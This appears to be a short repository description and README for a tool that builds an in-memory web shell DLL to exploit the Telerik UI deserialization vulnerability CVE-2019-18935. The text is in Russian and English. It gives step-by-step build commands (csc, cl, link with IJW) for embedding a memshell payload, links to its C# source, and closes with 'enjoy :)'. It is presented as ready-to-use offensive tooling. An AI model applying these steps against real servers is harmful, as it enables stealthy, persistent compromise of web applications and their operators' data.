dust-life/cve-2019-18935-memshellГенератор DLL для оболочки в памяти на C++ для CVE-2019-18935, обеспечивающий развёртывание веб-оболочки в памяти через десериализацию Telerik UI с помощью Assembly.Load и компиляции IJW.
источник CVE-2019-18935-Memshell
1.Build https://github.com/A-D-Team/SharpMemshell/blob/main/VirtualPath/memshell.cs
2.Convert dll to byte array
3.Replace rawData in memShell.cpp
4.csc /target:module empty.cs
5.cl /c memShell.cpp
6.link /DLL /LTCG /CLRIMAGETYPE:IJW /out:memShell.dll memShell.obj empty.netmodule
7.enjoy :)
Подсказки